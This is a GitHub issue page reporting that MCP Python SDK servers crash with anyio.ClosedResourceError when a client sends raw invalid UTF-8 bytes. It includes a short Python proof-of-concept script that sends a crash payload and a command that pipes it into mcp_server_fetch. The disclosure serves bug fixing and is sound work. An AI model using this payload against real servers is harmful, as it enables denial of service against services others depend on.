Title: [Bug] Server crashes with anyio.ClosedResourceError when receiving raw invalid UTF-8 bytes · Issue #2328 · modelcontextprotocol/python-sdk · GitHub
Open Graph Title: [Bug] Server crashes with anyio.ClosedResourceError when receiving raw invalid UTF-8 bytes · Issue #2328 · modelcontextprotocol/python-sdk
X Title: [Bug] Server crashes with anyio.ClosedResourceError when receiving raw invalid UTF-8 bytes · Issue #2328 · modelcontextprotocol/python-sdk
Description: Initial Checks I confirm that I'm using the latest version of MCP Python SDK I confirm that I searched for my issue in https://github.com/modelcontextprotocol/python-sdk/issues before opening this issue Description Summary MCP Python SDK...
Open Graph Description: Initial Checks I confirm that I'm using the latest version of MCP Python SDK I confirm that I searched for my issue in https://github.com/modelcontextprotocol/python-sdk/issues before opening this ...
X Description: Initial Checks I confirm that I'm using the latest version of MCP Python SDK I confirm that I searched for my issue in https://github.com/modelcontextprotocol/python-sdk/issues before opening t...
Opengraph URL: https://github.com/modelcontextprotocol/python-sdk/issues/2328
X: @github
Domain: github.com
{"@context":"https://schema.org","@type":"DiscussionForumPosting","headline":"[Bug] Server crashes with anyio.ClosedResourceError when receiving raw invalid UTF-8 bytes","articleBody":"### Initial Checks\n\n- [x] I confirm that I'm using the latest version of MCP Python SDK\n- [x] I confirm that I searched for my issue in https://github.com/modelcontextprotocol/python-sdk/issues before opening this issue\n\n### Description\n\n## Summary\nMCP Python SDK servers crash with `anyio.ClosedResourceError` when a client sends raw invalid UTF-8 bytes in request parameters. A malicious client can crash any MCP server using a single request.\n\n## Environment\n- **MCP SDK Version**: 1.26.0 (latest)\n- **Python**: 3.13\n- **OS**: Windows 11\n\n## Proof of Concept\n\nSave as `crash_poc.py`:\n```python\nimport sys\nimport time\n\n# Initialize\nsys.stdout.buffer.write(b'{\"jsonrpc\": \"2.0\", \"id\": 1, \"method\": \"initialize\", \"params\": {\"protocolVersion\": \"2024-11-05\", \"capabilities\": {}, \"clientInfo\": {\"name\": \"test\", \"version\": \"1.0\"}}}\\n')\nsys.stdout.flush()\ntime.sleep(1)\n\n# Initialized notification\nsys.stdout.buffer.write(b'{\"jsonrpc\": \"2.0\", \"method\": \"notifications/initialized\"}\\n')\nsys.stdout.flush()\ntime.sleep(0.5)\n\n# Crash payload - raw bytes 0xFF 0xFE\nsys.stdout.buffer.write(b'{\"jsonrpc\": \"2.0\", \"id\": 3, \"method\": \"tools/call\", \"params\": {\"name\": \"fetch\", \"arguments\": {\"url\": \"http://x\\xff\\xfe\"}}}\\n')\nsys.stdout.flush()\ntime.sleep(3)\n```\n\nRun:\n```bash\npython crash_poc.py | python -m mcp_server_fetch\n```\n\n## Stack Trace\n```\nFile \"...\\mcp\\server\\lowlevel\\server.py\", line 781, in _handle_request\n await message.respond(response)\nFile \"...\\mcp\\shared\\session.py\", line 349, in _send_response\n await self._write_stream.send(session_message)\nFile \"...\\anyio\\streams\\memory.py\", line 218, in send_nowait\n raise ClosedResourceError\nanyio.ClosedResourceError\n```\n\n## Key Observation\n- String `\"http://x[0xff][0xfe]\"` → handled gracefully with validation error ✅\n- Raw bytes `b\"http://x\\xff\\xfe\"` → server crash ❌\n\n## Expected Behavior\nThe server should return a JSON-RPC error response for malformed input, not crash.\n\n## Impact\n**Denial of Service** - Any MCP client can crash any MCP server using the Python SDK with a single malformed request.\n\n## Discovery\nFound using [mcpsec](https://github.com/manthanghasadiya/mcpsec) evolutionary fuzzer.\n\n### Example Code\n\n```Python\n\n```\n\n### Python \u0026 MCP Python SDK\n\n```Text\npython --version\nPython 3.13.1\n\npip show mcp | Select-String \"Version.\"\nVersion: 1.26.0\n```","author":{"url":"https://github.com/manthanghasadiya","@type":"Person","name":"manthanghasadiya"},"datePublished":"2026-03-22T05:33:37.000Z","interactionStatistic":{"@type":"InteractionCounter","interactionType":"https://schema.org/CommentAction","userInteractionCount":2},"url":"https://github.com/2328/python-sdk/issues/2328"}
| route-pattern | /_view_fragments/issues/show/:user_id/:repository/:id/issue_layout(.:format) |
| route-controller | voltron_issues_fragments |
| route-action | issue_layout |
| fetch-nonce | v2:2b03dfe1-7a9c-cc50-5baf-f237b9340c57 |
| current-catalog-service-hash | 81bb79d38c15960b92d99bca9288a9108c7a47b18f2423d0f6438c5b7bcd2114 |
| request-id | B124:2B14D5:4EB155:6B1757:6A5B6D6E |
| html-safe-nonce | 7cf97abf7cb5c603d651f24a55e6c08dbc901af44fe65ae31e46092dce60c661 |
| visitor-payload | eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJCMTI0OjJCMTRENTo0RUIxNTU6NkIxNzU3OjZBNUI2RDZFIiwidmlzaXRvcl9pZCI6Ijc1OTU5MDUzMzEyNzg2MDU2NzgiLCJyZWdpb25fZWRnZSI6ImlhZCIsInJlZ2lvbl9yZW5kZXIiOiJpYWQifQ== |
| visitor-hmac | d9e348a867c98bb0d7f6372d2ea44d8b60ed6336cfe05e3f22db2e780c831fb0 |
| hovercard-subject-tag | issue:4114933914 |
| github-keyboard-shortcuts | repository,issues,copilot |
| google-site-verification | Apib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I |
| octolytics-url | https://collector.github.com/github/collect |
| analytics-location | / |
| fb:app_id | 1401488693436528 |
| apple-itunes-app | app-id=1477376905, app-argument=https://github.com/_view_fragments/issues/show/modelcontextprotocol/python-sdk/2328/issue_layout |
| twitter:image | https://opengraph.githubassets.com/877a4153b7f90ba3762a2e233ce9a4d427c0144cfbddc6e17b46917b01dddf91/modelcontextprotocol/python-sdk/issues/2328 |
| twitter:card | summary_large_image |
| og:image | https://opengraph.githubassets.com/877a4153b7f90ba3762a2e233ce9a4d427c0144cfbddc6e17b46917b01dddf91/modelcontextprotocol/python-sdk/issues/2328 |
| og:image:alt | Initial Checks I confirm that I'm using the latest version of MCP Python SDK I confirm that I searched for my issue in https://github.com/modelcontextprotocol/python-sdk/issues before opening this ... |
| og:image:width | 1200 |
| og:image:height | 600 |
| og:site_name | GitHub |
| og:type | object |
| og:author:username | manthanghasadiya |
| hostname | github.com |
| expected-hostname | github.com |
| None | 5290d7e14309ad1e76106a9c4237bd1041517e83ea182c8ab756752cb0c6940b |
| turbo-cache-control | no-preview |
| go-import | github.com/modelcontextprotocol/python-sdk git https://github.com/modelcontextprotocol/python-sdk.git |
| octolytics-dimension-user_id | 182288589 |
| octolytics-dimension-user_login | modelcontextprotocol |
| octolytics-dimension-repository_id | 862584018 |
| octolytics-dimension-repository_nwo | modelcontextprotocol/python-sdk |
| octolytics-dimension-repository_public | true |
| octolytics-dimension-repository_is_fork | false |
| octolytics-dimension-repository_network_root_id | 862584018 |
| octolytics-dimension-repository_network_root_nwo | modelcontextprotocol/python-sdk |
| turbo-body-classes | logged-out env-production page-responsive |
| disable-turbo | false |
| browser-stats-url | https://api.github.com/_private/browser/stats |
| browser-errors-url | https://api.github.com/_private/browser/errors |
| release | 9c975978430e9ad293956f2bbdaf153b1bd84a99 |
| ui-target | full |
| theme-color | #1e2327 |
| color-scheme | light dark |
Links:
Viewport: width=device-width